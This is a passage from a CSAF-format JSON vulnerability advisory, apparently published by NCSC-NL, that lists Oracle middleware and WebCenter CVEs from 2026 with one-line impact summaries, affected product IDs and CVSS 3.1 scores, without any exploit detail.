"text": "A vulnerability in Oracle Fusion Middleware Service Delivery Platform Messaging Enabler (versions 14.1.2.0.0 and 12.2.1.4.0) allows a high-privileged attacker with HTTP network access to gain unauthorized access to critical data, with a CVSS 3.1 score of 6.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60865 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60865.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60865"
},
{
"cve": "CVE-2026-60866",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Service Delivery Platform 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read and write access, with a CVSS 3.1 base score of 6.5 indicating moderate impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60866 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60866.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60866"
},
{
"cve": "CVE-2026-60889",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60889 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60889.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60889"
},
{
"cve": "CVE-2026-60895",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with LDAP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 score of 6.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60895 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60895.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60895"
},
{
"cve": "CVE-2026-60903",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60903 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60903.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60903"
},
{
"cve": "CVE-2026-60905",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to exploit the system via HTTP, potentially causing unauthorized data access, modification, deletion, and partial denial of service with a CVSS 3.1 score of 9.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60905 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60905.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60905"
},
{
"cve": "CVE-2026-60906",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60906 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60906.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60906"
},
{
"cve": "CVE-2026-60909",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to gain unauthorized access and modify critical data, rated CVSS 3.1 base score 7.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60909 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60909.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60909"
},
{
"cve": "CVE-2026-60914",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60914 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60914.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60914"
},
{
"cve": "CVE-2026-60915",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated HTTP attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 7.4 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60915 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60915.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60915"
},
{
"cve": "CVE-2026-60916",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60916 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60916.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60916"
},
{
"cve": "CVE-2026-60921",
"notes": [
{
"category": "description",
"text": "A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60921 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60921.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60921"
},
{
"cve": "CVE-2026-60928",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle WebCenter Content 14.1.2.0.0 allows low-privileged attackers with infrastructure access to compromise system confidentiality and integrity, enabling unauthorized data creation, deletion, or modification.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60928 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60928.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60928"
},
{
"cve": "CVE-2026-60933",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 score of 7.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60933 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60933.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60933"
},
{
"cve": "CVE-2026-60934",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60934 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60934.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60934"
},
{
"cve": "CVE-2026-60935",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60935 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60935.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60935"
},
{
"cve": "CVE-2026-60944",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60944 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60944.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60944"
},
{
"cve": "CVE-2026-60946",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via RMI has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60946 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60946.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60946"
},
{
"cve": "CVE-2026-60947",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via RMI has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
